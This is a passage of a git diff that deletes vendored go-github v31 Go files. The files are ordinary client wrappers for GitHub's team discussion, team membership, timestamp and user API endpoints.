Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#list-comments -func (s *TeamsService) ListCommentsByID(ctx context.Context, orgID, teamID int64, discussionNumber int, options *DiscussionCommentListOptions) ([]*DiscussionComment, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/discussions/%v/comments", orgID, teamID, discussionNumber) - u, err := addOptions(u, options) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var comments []*DiscussionComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// ListCommentsBySlug lists all comments on a team discussion by team slug. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#list-comments -func (s *TeamsService) ListCommentsBySlug(ctx context.Context, org, slug string, discussionNumber int, options *DiscussionCommentListOptions) ([]*DiscussionComment, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/discussions/%v/comments", org, slug, discussionNumber) - u, err := addOptions(u, options) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var comments []*DiscussionComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// GetCommentByID gets a specific comment on a team discussion by team ID. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#get-a-single-comment -func (s *TeamsService) GetCommentByID(ctx context.Context, orgID, teamID int64, discussionNumber, commentNumber int) (*DiscussionComment, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/discussions/%v/comments/%v", orgID, teamID, discussionNumber, commentNumber) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - discussionComment := &DiscussionComment{} - resp, err := s.client.Do(ctx, req, discussionComment) - if err != nil { - return nil, resp, err - } - - return discussionComment, resp, nil -} - -// GetCommentBySlug gets a specific comment on a team discussion by team slug. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#get-a-single-comment -func (s *TeamsService) GetCommentBySlug(ctx context.Context, org, slug string, discussionNumber, commentNumber int) (*DiscussionComment, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/discussions/%v/comments/%v", org, slug, discussionNumber, commentNumber) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - discussionComment := &DiscussionComment{} - resp, err := s.client.Do(ctx, req, discussionComment) - if err != nil { - return nil, resp, err - } - - return discussionComment, resp, nil -} - -// CreateCommentByID creates a new comment on a team discussion by team ID. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#create-a-comment -func (s *TeamsService) CreateCommentByID(ctx context.Context, orgID, teamID int64, discsusionNumber int, comment DiscussionComment) (*DiscussionComment, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/discussions/%v/comments", orgID, teamID, discsusionNumber) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - - discussionComment := &DiscussionComment{} - resp, err := s.client.Do(ctx, req, discussionComment) - if err != nil { - return nil, resp, err - } - - return discussionComment, resp, nil -} - -// CreateCommentBySlug creates a new comment on a team discussion by team slug. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#create-a-comment -func (s *TeamsService) CreateCommentBySlug(ctx context.Context, org, slug string, discsusionNumber int, comment DiscussionComment) (*DiscussionComment, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/discussions/%v/comments", org, slug, discsusionNumber) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - - discussionComment := &DiscussionComment{} - resp, err := s.client.Do(ctx, req, discussionComment) - if err != nil { - return nil, resp, err - } - - return discussionComment, resp, nil -} - -// EditCommentByID edits the body text of a discussion comment by team ID. -// Authenticated user must grant write:discussion scope. -// User is allowed to edit body of a comment only. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#edit-a-comment -func (s *TeamsService) EditCommentByID(ctx context.Context, orgID, teamID int64, discussionNumber, commentNumber int, comment DiscussionComment) (*DiscussionComment, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/discussions/%v/comments/%v", orgID, teamID, discussionNumber, commentNumber) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - - discussionComment := &DiscussionComment{} - resp, err := s.client.Do(ctx, req, discussionComment) - if err != nil { - return nil, resp, err - } - - return discussionComment, resp, nil -} - -// EditCommentBySlug edits the body text of a discussion comment by team slug. -// Authenticated user must grant write:discussion scope. -// User is allowed to edit body of a comment only. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#edit-a-comment -func (s *TeamsService) EditCommentBySlug(ctx context.Context, org, slug string, discussionNumber, commentNumber int, comment DiscussionComment) (*DiscussionComment, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/discussions/%v/comments/%v", org, slug, discussionNumber, commentNumber) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - - discussionComment := &DiscussionComment{} - resp, err := s.client.Do(ctx, req, discussionComment) - if err != nil { - return nil, resp, err - } - - return discussionComment, resp, nil -} - -// DeleteCommentByID deletes a comment on a team discussion by team ID. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#delete-a-comment -func (s *TeamsService) DeleteCommentByID(ctx context.Context, orgID, teamID int64, discussionNumber, commentNumber int) (*Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/discussions/%v/comments/%v", orgID, teamID, discussionNumber, commentNumber) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// DeleteCommentBySlug deletes a comment on a team discussion by team slug. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussion_comments/#delete-a-comment -func (s *TeamsService) DeleteCommentBySlug(ctx context.Context, org, slug string, discussionNumber, commentNumber int) (*Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/discussions/%v/comments/%v", org, slug, discussionNumber, commentNumber) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/teams_discussions.go b/vendor/github.com/google/go-github/v31/github/teams_discussions.go deleted file mode 100644 index f0f2206ac9..0000000000 --- a/vendor/github.com/google/go-github/v31/github/teams_discussions.go +++ /dev/null @@ -1,247 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// TeamDiscussion represents a GitHub dicussion in a team. -type TeamDiscussion struct { - Author *User `json:"author,omitempty"` - Body *string `json:"body,omitempty"` - BodyHTML *string `json:"body_html,omitempty"` - BodyVersion *string `json:"body_version,omitempty"` - CommentsCount *int `json:"comments_count,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - LastEditedAt *Timestamp `json:"last_edited_at,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Number *int `json:"number,omitempty"` - Pinned *bool `json:"pinned,omitempty"` - Private *bool `json:"private,omitempty"` - TeamURL *string `json:"team_url,omitempty"` - Title *string `json:"title,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - URL *string `json:"url,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` -} - -func (d TeamDiscussion) String() string { - return Stringify(d) -} - -// DiscussionListOptions specifies optional parameters to the -// TeamServices.ListDiscussions method. -type DiscussionListOptions struct { - // Sorts the discussion by the date they were created. - // Accepted values are asc and desc. Default is desc. - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// ListDiscussionsByID lists all discussions on team's page given Organization and Team ID. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#list-discussions -func (s *TeamsService) ListDiscussionsByID(ctx context.Context, orgID, teamID int64, opts *DiscussionListOptions) ([]*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/discussions", orgID, teamID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teamDiscussions []*TeamDiscussion - resp, err := s.client.Do(ctx, req, &teamDiscussions) - if err != nil { - return nil, resp, err - } - - return teamDiscussions, resp, nil -} - -// ListDiscussionsBySlug lists all discussions on team's page given Organization name and Team's slug. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#list-discussions -func (s *TeamsService) ListDiscussionsBySlug(ctx context.Context, org, slug string, opts *DiscussionListOptions) ([]*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/discussions", org, slug) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teamDiscussions []*TeamDiscussion - resp, err := s.client.Do(ctx, req, &teamDiscussions) - if err != nil { - return nil, resp, err - } - - return teamDiscussions, resp, nil -} - -// GetDiscussionByID gets a specific discussion on a team's page given Organization and Team ID. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#get-a-single-discussion -func (s *TeamsService) GetDiscussionByID(ctx context.Context, orgID, teamID int64, discussionNumber int) (*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/discussions/%v", orgID, teamID, discussionNumber) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - teamDiscussion := &TeamDiscussion{} - resp, err := s.client.Do(ctx, req, teamDiscussion) - if err != nil { - return nil, resp, err - } - - return teamDiscussion, resp, nil -} - -// GetDiscussionBySlug gets a specific discussion on a team's page given Organization name and Team's slug. -// Authenticated user must grant read:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#get-a-single-discussion -func (s *TeamsService) GetDiscussionBySlug(ctx context.Context, org, slug string, discussionNumber int) (*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/discussions/%v", org, slug, discussionNumber) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - teamDiscussion := &TeamDiscussion{} - resp, err := s.client.Do(ctx, req, teamDiscussion) - if err != nil { - return nil, resp, err - } - - return teamDiscussion, resp, nil -} - -// CreateDiscussionByID creates a new discussion post on a team's page given Organization and Team ID. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#create-a-discussion -func (s *TeamsService) CreateDiscussionByID(ctx context.Context, orgID, teamID int64, discussion TeamDiscussion) (*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/discussions", orgID, teamID) - req, err := s.client.NewRequest("POST", u, discussion) - if err != nil { - return nil, nil, err - } - - teamDiscussion := &TeamDiscussion{} - resp, err := s.client.Do(ctx, req, teamDiscussion) - if err != nil { - return nil, resp, err - } - - return teamDiscussion, resp, nil -} - -// CreateDiscussionBySlug creates a new discussion post on a team's page given Organization name and Team's slug. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#create-a-discussion -func (s *TeamsService) CreateDiscussionBySlug(ctx context.Context, org, slug string, discussion TeamDiscussion) (*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/discussions", org, slug) - req, err := s.client.NewRequest("POST", u, discussion) - if err != nil { - return nil, nil, err - } - - teamDiscussion := &TeamDiscussion{} - resp, err := s.client.Do(ctx, req, teamDiscussion) - if err != nil { - return nil, resp, err - } - - return teamDiscussion, resp, nil -} - -// EditDiscussionByID edits the title and body text of a discussion post given Organization and Team ID. -// Authenticated user must grant write:discussion scope. -// User is allowed to change Title and Body of a discussion only. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#edit-a-discussion -func (s *TeamsService) EditDiscussionByID(ctx context.Context, orgID, teamID int64, discussionNumber int, discussion TeamDiscussion) (*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/discussions/%v", orgID, teamID, discussionNumber) - req, err := s.client.NewRequest("PATCH", u, discussion) - if err != nil { - return nil, nil, err - } - - teamDiscussion := &TeamDiscussion{} - resp, err := s.client.Do(ctx, req, teamDiscussion) - if err != nil { - return nil, resp, err - } - - return teamDiscussion, resp, nil -} - -// EditDiscussionBySlug edits the title and body text of a discussion post given Organization name and Team's slug. -// Authenticated user must grant write:discussion scope. -// User is allowed to change Title and Body of a discussion only. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#edit-a-discussion -func (s *TeamsService) EditDiscussionBySlug(ctx context.Context, org, slug string, discussionNumber int, discussion TeamDiscussion) (*TeamDiscussion, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/discussions/%v", org, slug, discussionNumber) - req, err := s.client.NewRequest("PATCH", u, discussion) - if err != nil { - return nil, nil, err - } - - teamDiscussion := &TeamDiscussion{} - resp, err := s.client.Do(ctx, req, teamDiscussion) - if err != nil { - return nil, resp, err - } - - return teamDiscussion, resp, nil -} - -// DeleteDiscussionByID deletes a discussion from team's page given Organization and Team ID. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#delete-a-discussion -func (s *TeamsService) DeleteDiscussionByID(ctx context.Context, orgID, teamID int64, discussionNumber int) (*Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/discussions/%v", orgID, teamID, discussionNumber) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// DeleteDiscussionBySlug deletes a discussion from team's page given Organization name and Team's slug. -// Authenticated user must grant write:discussion scope. -// -// GitHub API docs: https://developer.github.com/v3/teams/discussions/#delete-a-discussion -func (s *TeamsService) DeleteDiscussionBySlug(ctx context.Context, org, slug string, discussionNumber int) (*Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/discussions/%v", org, slug, discussionNumber) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/teams_members.go b/vendor/github.com/google/go-github/v31/github/teams_members.go deleted file mode 100644 index a29263e75c..0000000000 --- a/vendor/github.com/google/go-github/v31/github/teams_members.go +++ /dev/null @@ -1,243 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// TeamListTeamMembersOptions specifies the optional parameters to the -// TeamsService.ListTeamMembers method. -type TeamListTeamMembersOptions struct { - // Role filters members returned by their role in the team. Possible - // values are "all", "member", "maintainer". Default is "all". - Role string `url:"role,omitempty"` - - ListOptions -} - -// ListTeamMembersByID lists all of the users who are members of a team, given a specified -// organization ID, by team ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#list-team-members -func (s *TeamsService) ListTeamMembersByID(ctx context.Context, orgID, teamID int64, opts *TeamListTeamMembersOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/members", orgID, teamID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var members []*User - resp, err := s.client.Do(ctx, req, &members) - if err != nil { - return nil, resp, err - } - - return members, resp, nil -} - -// ListTeamMembersBySlug lists all of the users who are members of a team, given a specified -// organization name, by team slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#list-team-members -func (s *TeamsService) ListTeamMembersBySlug(ctx context.Context, org, slug string, opts *TeamListTeamMembersOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/members", org, slug) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var members []*User - resp, err := s.client.Do(ctx, req, &members) - if err != nil { - return nil, resp, err - } - - return members, resp, nil -} - -// GetTeamMembershipByID returns the membership status for a user in a team, given a specified -// organization ID, by team ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#get-team-membership -func (s *TeamsService) GetTeamMembershipByID(ctx context.Context, orgID, teamID int64, user string) (*Membership, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/memberships/%v", orgID, teamID, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - t := new(Membership) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// GetTeamMembershipBySlug returns the membership status for a user in a team, given a specified -// organization name, by team slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#get-team-membership -func (s *TeamsService) GetTeamMembershipBySlug(ctx context.Context, org, slug, user string) (*Membership, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/memberships/%v", org, slug, user) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - t := new(Membership) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// TeamAddTeamMembershipOptions specifies the optional -// parameters to the TeamsService.AddTeamMembership method. -type TeamAddTeamMembershipOptions struct { - // Role specifies the role the user should have in the team. Possible - // values are: - // member - a normal member of the team - // maintainer - a team maintainer. Able to add/remove other team - // members, promote other team members to team - // maintainer, and edit the team’s name and description - // - // Default value is "member". - Role string `json:"role,omitempty"` -} - -// AddTeamMembership adds or invites a user to a team, given a specified -// organization ID, by team ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#add-or-update-team-membership -func (s *TeamsService) AddTeamMembershipByID(ctx context.Context, orgID, teamID int64, user string, opts *TeamAddTeamMembershipOptions) (*Membership, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/memberships/%v", orgID, teamID, user) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, nil, err - } - - t := new(Membership) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// AddTeamMembershipBySlug adds or invites a user to a team, given a specified -// organization name, by team slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#add-or-update-team-membership -func (s *TeamsService) AddTeamMembershipBySlug(ctx context.Context, org, slug, user string, opts *TeamAddTeamMembershipOptions) (*Membership, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/memberships/%v", org, slug, user) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, nil, err - } - - t := new(Membership) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// RemoveTeamMembership removes a user from a team, given a specified -// organization ID, by team ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#remove-team-membership -func (s *TeamsService) RemoveTeamMembershipByID(ctx context.Context, orgID, teamID int64, user string) (*Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/memberships/%v", orgID, teamID, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// RemoveTeamMembership removes a user from a team, given a specified -// organization name, by team slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#remove-team-membership -func (s *TeamsService) RemoveTeamMembershipBySlug(ctx context.Context, org, slug, user string) (*Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/memberships/%v", org, slug, user) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// ListPendingTeamInvitationsByID gets pending invitation list of a team, given a specified -// organization ID, by team ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#list-pending-team-invitations -func (s *TeamsService) ListPendingTeamInvitationsByID(ctx context.Context, orgID, teamID int64, opts *ListOptions) ([]*Invitation, *Response, error) { - u := fmt.Sprintf("organizations/%v/team/%v/invitations", orgID, teamID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var pendingInvitations []*Invitation - resp, err := s.client.Do(ctx, req, &pendingInvitations) - if err != nil { - return nil, resp, err - } - - return pendingInvitations, resp, nil -} - -// ListPendingTeamInvitationsByID get pending invitation list of a team, given a specified -// organization name, by team slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/members/#list-pending-team-invitations -func (s *TeamsService) ListPendingTeamInvitationsBySlug(ctx context.Context, org, slug string, opts *ListOptions) ([]*Invitation, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v/invitations", org, slug) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var pendingInvitations []*Invitation - resp, err := s.client.Do(ctx, req, &pendingInvitations) - if err != nil { - return nil, resp, err - } - - return pendingInvitations, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/timestamp.go b/vendor/github.com/google/go-github/v31/github/timestamp.go deleted file mode 100644 index 90929d5757..0000000000 --- a/vendor/github.com/google/go-github/v31/github/timestamp.go +++ /dev/null @@ -1,41 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "strconv" - "time" -) - -// Timestamp represents a time that can be unmarshalled from a JSON string -// formatted as either an RFC3339 or Unix timestamp. This is necessary for some -// fields since the GitHub API is inconsistent in how it represents times. All -// exported methods of time.Time can be called on Timestamp. -type Timestamp struct { - time.Time -} - -func (t Timestamp) String() string { - return t.Time.String() -} - -// UnmarshalJSON implements the json.Unmarshaler interface. -// Time is expected in RFC3339 or Unix format. -func (t *Timestamp) UnmarshalJSON(data []byte) (err error) { - str := string(data) - i, err := strconv.ParseInt(str, 10, 64) - if err == nil { - t.Time = time.Unix(i, 0) - } else { - t.Time, err = time.Parse(`"`+time.RFC3339+`"`, str) - } - return -} - -// Equal reports whether t and u are equal based on time.Equal -func (t Timestamp) Equal(u Timestamp) bool { - return t.Time.Equal(u.Time) -} diff --git a/vendor/github.com/google/go-github/v31/github/users.go b/vendor/github.com/google/go-github/v31/github/users.go deleted file mode 100644 index 97747f713c..0000000000 --- a/vendor/github.com/google/go-github/v31/github/users.go +++ /dev/null @@ -1,275 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// UsersService handles communication with the user related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/users/ -type UsersService service - -// User represents a GitHub user. -type User struct { - Login *string `json:"login,omitempty"` - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - AvatarURL *string `json:"avatar_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - GravatarID *string `json:"gravatar_id,omitempty"` - Name *string `json:"name,omitempty"` - Company *string `json:"company,omitempty"` - Blog *string `json:"blog,omitempty"` - Location *string `json:"location,omitempty"` - Email *string `json:"email,omitempty"` - Hireable *bool `json:"hireable,omitempty"` - Bio *string `json:"bio,omitempty"` - PublicRepos *int `json:"public_repos,omitempty"` - PublicGists *int `json:"public_gists,omitempty"` - Followers *int `json:"followers,omitempty"` - Following *int `json:"following,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - SuspendedAt *Timestamp `json:"suspended_at,omitempty"` - Type *string `json:"type,omitempty"` - SiteAdmin *bool `json:"site_admin,omitempty"` - TotalPrivateRepos *int `json:"total_private_repos,omitempty"` - OwnedPrivateRepos *int `json:"owned_private_repos,omitempty"` - PrivateGists *int `json:"private_gists,omitempty"` - DiskUsage *int `json:"disk_usage,omitempty"` - Collaborators *int `json:"collaborators,omitempty"` - TwoFactorAuthentication *bool `json:"two_factor_authentication,omitempty"` - Plan *Plan `json:"plan,omitempty"` - LdapDn *string `json:"ldap_dn,omitempty"` - - // API URLs - URL *string `json:"url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - FollowingURL *string `json:"following_url,omitempty"` - FollowersURL *string `json:"followers_url,omitempty"` - GistsURL *string `json:"gists_url,omitempty"` - OrganizationsURL *string `json:"organizations_url,omitempty"` - ReceivedEventsURL *string `json:"received_events_url,omitempty"` - ReposURL *string `json:"repos_url,omitempty"` - StarredURL *string `json:"starred_url,omitempty"` - SubscriptionsURL *string `json:"subscriptions_url,omitempty"` - - // TextMatches is only populated from search results that request text matches - // See: search.go and https://developer.github.com/v3/search/#text-match-metadata - TextMatches []*TextMatch `json:"text_matches,omitempty"` - - // Permissions identifies the permissions that a user has on a given - // repository. This is only populated when calling Repositories.ListCollaborators. - Permissions *map[string]bool `json:"permissions,omitempty"` -} - -func (u User) String() string { - return Stringify(u) -} - -// Get fetches a user. Passing the empty string will fetch the authenticated -// user. -// -// GitHub API docs: https://developer.github.com/v3/users/#get-a-single-user -// GitHub API docs: https://developer.github.com/v3/users/#get-the-authenticated-user -func (s *UsersService) Get(ctx context.Context, user string) (*User, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v", user) - } else { - u = "user" - } - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - uResp := new(User) - resp, err := s.client.Do(ctx, req, uResp) - if err != nil { - return nil, resp, err - } - - return uResp, resp, nil -} - -// GetByID fetches a user. -// -// Note: GetByID uses the undocumented GitHub API endpoint /user/:id. -func (s *UsersService) GetByID(ctx context.Context, id int64) (*User, *Response, error) { - u := fmt.Sprintf("user/%d", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - user := new(User) - resp, err := s.client.Do(ctx, req, user) - if err != nil { - return nil, resp, err - } - - return user, resp, nil -} - -// Edit the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/users/#update-the-authenticated-user -func (s *UsersService) Edit(ctx context.Context, user *User) (*User, *Response, error) { - u := "user" - req, err := s.client.NewRequest("PATCH", u, user) - if err != nil { - return nil, nil, err - } - - uResp := new(User) - resp, err := s.client.Do(ctx, req, uResp) - if err != nil { - return nil, resp, err - } - - return uResp, resp, nil -} - -// HovercardOptions specifies optional parameters to the UsersService.GetHovercard -// method. -type HovercardOptions struct { - // SubjectType specifies the additional information to be received about the hovercard. - // Possible values are: organization, repository, issue, pull_request. (Required when using subject_id.) - SubjectType string `url:"subject_type"` - - // SubjectID specifies the ID for the SubjectType. (Required when using subject_type.) - SubjectID string `url:"subject_id"` -} - -// Hovercard represents hovercard information about a user. -type Hovercard struct { - Contexts []*UserContext `json:"contexts,omitempty"` -} - -// UserContext represents the contextual information about user. -type UserContext struct { - Message *string `json:"message,omitempty"` - Octicon *string `json:"octicon,omitempty"` -} - -// GetHovercard fetches contextual information about user. It requires authentication -// via Basic Auth or via OAuth with the repo scope. -// -// GitHub API docs: https://developer.github.com/v3/users/#get-contextual-information-about-a-user -func (s *UsersService) GetHovercard(ctx context.Context, user string, opts *HovercardOptions) (*Hovercard, *Response, error) { - u := fmt.Sprintf("users/%v/hovercard", user) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - hc := new(Hovercard) - resp, err := s.client.Do(ctx, req, hc) - if err != nil { - return nil, resp, err - } - - return hc, resp, nil -} - -// UserListOptions specifies optional parameters to the UsersService.ListAll -// method. -type UserListOptions struct { - // ID of the last user seen - Since int64 `url:"since,omitempty"` - - // Note: Pagination is powered exclusively by the Since parameter, - // ListOptions.Page has no effect. - // ListOptions.PerPage controls an undocumented GitHub API parameter. - ListOptions -} - -// ListAll lists all GitHub users. -// -// To paginate through all users, populate 'Since' with the ID of the last user. -// -// GitHub API docs: https://developer.github.com/v3/users/#get-all-users -func (s *UsersService) ListAll(ctx context.Context, opts *UserListOptions) ([]*User, *Response, error) { - u, err := addOptions("users", opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var users []*User - resp, err := s.client.Do(ctx, req, &users) - if err != nil { - return nil, resp, err - } - - return users, resp, nil -} - -// ListInvitations lists all currently-open repository invitations for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#list-a-users-repository-invitations -func (s *UsersService) ListInvitations(ctx context.Context, opts *ListOptions) ([]*RepositoryInvitation, *Response, error) { - u, err := addOptions("user/repository_invitations", opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - invites := []*RepositoryInvitation{} - resp, err := s.client.Do(ctx, req, &invites) - if err != nil { - return nil, resp, err - } - - return invites, resp, nil -} - -// AcceptInvitation accepts the currently-open repository invitation for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#accept-a-repository-invitation -func (s *UsersService) AcceptInvitation(ctx context.Context, invitationID int64) (*Response, error) { - u := fmt.Sprintf("user/repository_invitations/%v", invitationID) - req, err := s.client.NewRequest("PATCH", u, nil) - if err != nil { - return nil, err - } - - return 